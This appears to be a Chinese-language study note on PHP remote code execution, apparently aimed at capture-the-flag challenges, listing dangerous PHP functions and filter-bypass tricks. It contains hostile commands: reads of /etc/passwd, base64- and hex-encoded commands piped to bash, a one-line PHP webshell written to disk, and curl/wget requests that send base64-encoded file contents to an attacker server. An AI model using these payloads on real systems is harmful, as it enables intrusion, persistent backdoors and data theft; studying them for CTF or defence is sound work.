文章目录
RCE简述
RCE漏洞,即远程代码执行漏洞(Remote Code Execution),可完全控制受影响的系统或应用程序。
成因:不正确的输入验证或没有划分正确的权限等,导致RCE漏洞的利用。
RCE执行函数及存在场景
PHP系统命令执行函数
1、system():能将字符串作为OS命令执行,且返回命令执行结果;
//Linux命令行
php -r "system('cat /etc/passwd');"
2、exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显)
//Linux命令行
php -r "exec('cat /etc/passwd');"
3、shell_exec():能将字符串作为OS命令执行
//Linux命令行
php -r "shell_exec('cat /etc/passwd');"
4、passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
//Linux命令行
php -r "passthru('cat /etc/passwd');"
5、popen():打开进程文件指针
6、proc_open():与popen()类似
7、pcntl_exec():在当前进程空间执行指定程序
Linux命令行
//显示当前目录下的文件和目录列表
php -r "pcntl_exec('/bin/ls', ['-l']);"
8、反引号**``**:反引号内的字符串会被解析为OS命令
PHP代码执行函数
1、eval():将字符串作为php代码执行
//Linux命令行
php -r "eval(phpinfo());"
2、assert():将字符串作为php代码执行
3、preg_replace():正则匹配替换字符串
4、create_function():主要创建匿名函数
5、call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数
6、call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组
7、可变函数:在 PHP 中,如果变量后面有括号,PHP 将尝试将该变量作为函数名来调用。例如,如果 $func
是一个包含函数名的变量,那么 $func()
将调用这个函数。
存在场景
1、当应用程序使用反序列化函数(如unserialize()
)处理来自不受信任来源的数据时,可在反序列化时执行任意代码。
2、当应用程序使用不安全的文件包含函数(如include
、require
)时,可以通过操纵包含的文件路径或参数,执行恶意代码。
3、当应用程序使用不安全的远程文件包含函数(如include_once
、require_once
)时,可以通过操纵远程文件的URL,执行恶意代码。
绕过方式
管道符
Linux管道符可实现RCE绕过
管道符 | 实例 | 描述 |
---|---|---|
; | A;B | 无论真假,A与B都执行 |
& | A&B | 无论真假,A与B都执行 |
&& | A&&B | A为真时才执行B,否则只执行A |
| | A|B | 将前一个命令的输出作为后一个命令的输入,显示B的执行结果 |
|| | A||B | A为假时才执行B,否则只执行A |
过滤空格
以下字符均可代替空格 | ||
---|---|---|
< | <> | %20(即space) |
%09(即tab) | $IFS$9 | ${IFS} |
$IFS | {cat,flag} |
分隔符;过滤
使用%0a代替
使用?>代替
取反绕过
//取反传参
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
反斜杠\绕过
//cat、ls关键命令被过滤
c\at /flag
l\s /
黑名单绕过
//变量拼接,如flag被过滤
1、将cat /flag替换为b=ag;cat /fl$b
2、eval(var_dump(file_get_contents($_POST['a'])););&a=/flag
//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
//php标签绕过
?><?= phpinfo(); ?>
base和hex编码绕过
//base64编码绕过,编码cat /flag
//反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)
//hex编码绕过,编码cat /flag
echo '636174202f666c6167' | xxd -r -p | bash
解释:
echo '636174202f666c6167':使用 echo 打印十六进制编码的文本字符串
|:管道符号,前面命令的输出传递给后面命令的输入。
xxd -r -p:使用 xxd 工具,-r 参数表示将十六进制编码转换为二进制,-p 参数表示将十六进制字符串视为原始数据,不显示地址和ASCII码。
|:再次是管道符号,将 xxd 命令的输出传递给下一个命令。
bash:将二进制数据作为一个脚本来执行。
//shellcode编码绕过
//十六进制编码绕过
不再详述
正则匹配绕过
关于正则匹配的相关知识,可参考:【JavaScript | RegExp】正则表达式 | CSDN秋说
//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}
// /etc/passwd文件被黑名单过滤
cat /???/pass*
单、双引号绕过
//如cat、ls被过滤
ca""t /flag
l's' /
// /etc/passwd文件被黑名单过滤
//例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
cat /etc$u/passwd
无回显RCE
1、将执行结果输出到文件再访问文件
//将根目录下的所有目录和文件写入1.txt
ls / | tee 1.txt
//接着访问1.txt
cat 1.txt
//将flag.php文件内容写入2.txt中
cat /flag.php | tee 2.txt
//接着访问2.txt
cat 2.txt
2、复制,改名,压缩,写shell
cp flag.php 1.txt //将 flag.php 的内容复制到 1.txt
cat flag.php > flag.txt //将 flag.php 的内容复制到 flag.txt
mv flag.php flag.txt //改名
tar cvf flag.tar flag.php //压缩
等价于
tar zcvf flag.tar.gz flag.php
//写入webshell
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
等价于
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
3、在vps上建立记录脚本
执行 cat flag.php | base64
命令,获取 flag.php
文件的内容,写入到名为 flag.txt
的文件中。
在攻击机服务器站点根目录写入php文件,内容如下:
record.php
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>
在目标服务器可以发送下面其中任意一条请求进行测试
curl http://*.*.*.*/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
无参数RCE
1、三个常用的PHP函数:
1.1、getallheaders()用于获取所有 HTTP 请求头信息(命令行环境中不存在 HTTP 请求,可以将该函数写入脚本)
1.2、get_defined_vars()返回由所有已定义变量所组成的数组
//Linux命令:
php -r 'print_r(get_defined_vars());'
1.3、session_id可以获取PHPSESSID的值
<?php
session_start();
$sessionId = session_id();
echo "$sessionId";
?>
//列出当前目录中的文件和子目录
//等价于Linux命令:php -r 'session_start(); echo session_id() . PHP_EOL;'
2、PHP读取目录语句:
2.1:
print_r(scandir(current(localeconv())));
//列出当前目录中的文件和子目录
//等价于Linux命令:php -r 'print_r(scandir("."));'
2.2:
print_r(scandir(pos(localeconv())));
//列出当前目录中的文件和子目录
//等价于Linux命令:php -r 'print_r(scandir(dirname(__FILE__)));'
2.3:
print_r(scandir(dirname(__FILE__)));
//列出当前 PHP 脚本所在目录的文件和子目录
//等价于Linux命令:php -r 'print_r(scandir(dirname(__FILE__)));'
无数字RCE
使用~$()构造数字
示例如下
1、
$(())为0
2、
$((~$(())))为-1
无字母数字RCE
异或、取反、自增、临时文件上传等。
内联执行
1:
echo `ls`;
2:
echo $(ls);
过滤cat命令
以下命令可在一定程度上代替cat
命令
more: 逐页显示文件内容,按空格键继续显示下一页,按 Q 键退出。
less: 与 more 类似,但是更强大,支持向前翻页、向后翻页等操作。
head: 显示文件的开头几行,默认显示头部 10 行。
tac: 从文件的最后一行开始显示,实现了 cat 的反向显示。
tail: 显示文件的末尾几行,默认显示尾部 10 行。
nl: 将文件内容显示出来,并顺便输出行号。
od: 以二进制方式查看文件内容。
vi 和 vim: 文本编辑器,可以查看文件内容,但是在查看模式下并不会直接显示文件内容,需要通过编辑器的命令来浏览。
sort: 可以按照一定规则对文件内容进行排序,并输出结果。
uniq: 可以去除重复的行,并输出唯一的行。
file: 可以显示文件的类型,如文本、二进制等,并提供详细信息。
bash: 可以执行 Bash 脚本,并输出执行结果。
strings: 可以从文件中提取可打印的字符序列。
例如,cat 1.txt
等价于head -n 999999 1.txt
open_basedir绕过
open_basedir
是 PHP 的一个安全特性,用于限制 PHP 脚本可以访问的文件路径。它定义了一个目录列表,PHP 脚本只能在这些目录中访问文件,而不能超出这些限制。
可以使用glob伪协议进行绕过(glob
函数用于在文件系统中查找与指定模式匹配的文件路径名。):
<?php
// 循环 spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>